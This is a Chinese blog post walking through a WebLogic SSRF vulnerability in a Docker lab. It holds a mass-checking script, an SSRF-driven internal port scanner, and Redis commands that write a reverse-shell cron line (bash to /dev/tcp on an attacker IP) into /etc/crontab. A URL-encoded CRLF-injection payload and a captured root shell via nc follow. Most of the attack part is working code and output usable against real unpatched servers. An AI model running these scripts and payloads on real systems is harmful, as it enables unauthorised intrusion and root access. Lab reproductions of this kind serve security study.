weblogic-ssrf-漏洞复现

本文详细解析SSRF(Server-Side Request Forgery)漏洞原理,通过实例展示如何利用SSRF漏洞攻击内网中的Redis服务器并实现反弹Shell,包括环境搭建、漏洞检测、端口扫描及Redis命令注入过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ssrf简介

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
**简析:**SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。

redis简介

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

环境介绍

weblogic中存在一个ssrf漏洞,利用该漏洞可以发送任意http请求,进而攻击内网中redis,fastcgi等脆弱组件
编译及启动环境

docker-compose bulid
docker-compose up -d

访问http://you-ip:7001/uddiexplorer,无需登陆即可查看uddiexplorer应用

漏洞测试

先放出一个大佬写的脚本,用于检测weblogic是否存在ssrf漏洞

#!/usr/bin/env python  
# -*- coding: utf-8 -*-
import re
import sys
import Queue
import requests
import threading
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
queue = Queue.Queue()
mutex = threading.Lock()
class Test(threading.Thread):
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue
    def check(self,domain,ip):
        payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
        url = domain + payload
        try:
            html = requests.get(url=url, timeout=15, verify=False).content
            m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
            if m:
                mutex.acquire()
                with open('ssrf1.txt','a+') as f:
                    print "%s has weblogic ssrf." % domain
                    f.write("%s has weblogic ssrf." % domain)
                mutex.release()
        except Exception,e:
            print e
    def get_registry(self,domain):
        payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
        url = domain + payload
        try:
            html = requests.get(url=url, timeout=15, verify=False).content
            m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html)
            if m:
                return m.group(1)
        except Exception,e:
            print e
    def run(self):
        while not self.queue.empty():
            domain = self.queue.get()
            mutex.acquire()
            print domain
            mutex.release()
            ip = self.get_registry(domain)
            self.check(domain,ip)
            self.queue.task_done()
if __name__ == '__main__':
    with open('domain.txt','r') as f:
        lines = f.readlines()
    for line in lines:
        queue.put(line.strip())
    for x in xrange(1,50):
        t = Test(queue)
        t.setDaemon(True)
        t.start()
    queue.join()
domain.txt里面存放要检查的ip:http://192.168.75.131:7001/
ssrf1.txt里面存放输出的结果

运行结果如下

dvsx@ubuntu:~/Desktop$ python weblogic_ssrf_check.py 
http://192.168.75.131:7001/
http://192.168.75.131:7001/ has weblogic ssrf.

检查出来存在漏洞之后,我们去web页面看一下,访问http://you-ip:7001/uddiexplorer
在这里插入图片描述
如果出现上图所示页面说明环境搭建成功。已知存在漏洞的是SearchPublicRegistries.jsp,界面如下:
在这里插入图片描述
我们随便输入几个值,然后抓包发现operator的参数是一个url,这个就是利用点
在这里插入图片描述
下面我们来构造请求,通过改变url的端口来做一个端口检测
访问一个存在的端口,会返回状态码
在这里插入图片描述
访问一个不存在的端口会返回连不上服务器
在这里插入图片描述
访问一个非http协议,返回did not have a valid SOAP content-type
在这里插入图片描述

利用redis反弹shell

weblogic的ssrf有一个比较大的特点,其虽然是一个GET请求,但是我们可以通过传入**%0a%0d**来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就是说我们可以通过该SSRF攻击内网中的redis服务器。首先通过ssrf探测内网中的redis服务器
内网嗅探脚本

import thread
import time
import re
import requests

def ite_ip(ip):
    for i in range(1, 256):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        print final_ip
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(2)

def scan(final_ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    for port in ports:
        vul_url = 'http://192.168.75.131:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
        try:
            #print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)  
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print '[!]'+final_ip + ':' + port
        except Exception, e:
            pass


if __name__ == '__main__':
    ip = "172.20.0"  
    if ip:
        print ip
        ite_ip(ip)
    else:
        print "no ip"

发现在172.20.0.2:6379端口运行了redis

dvsx@ubuntu:~/Desktop$ python ssrf.py 
172.20.0
172.20.0.1
172.20.0.2
[!]172.20.0.2:6379
[!]172.20.0.1:7001
172.20.0.3
[!]172.20.0.3:7001

发送三条redis命令,将弹shell脚本写入**/etc/crontab**

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.75.186/8888 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
ab
save ##将反弹shell写入到/etc/crontab
##/etc/crontab 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
##/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。

因为我们要以get方式传入,所以就要先写成一条命令,然后再url编码一下

set 1 "\n\n\n\n* * * * root bash -i >& /dev/tcp/xx.xx.xx.xx[这里是你自己的公网IP]/8888[这里是你监听的端口] 0>&1\n\n\n\n" config set dir /etc/config set dbfilename crontab save

url编码,同时我们还要制定一个要写入的文件test,换行为%0A%0D。

?operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.20.10.13%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc

在这里插入图片描述
监听 反弹(nc -lvvp 8888也可以)

root@kali:~# nc -l -p 8888

bash: no job control in this shell
[root@059d30426e45 ~]# 
[root@059d30426e45 ~]# whoami
whoami
root

参考链接

http://www.mchz.com.cn/cn/service/safety-lab/info_26.aspx?&itemid=2128&ezeip=es515pfuwaihdff3mzwbdg==
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值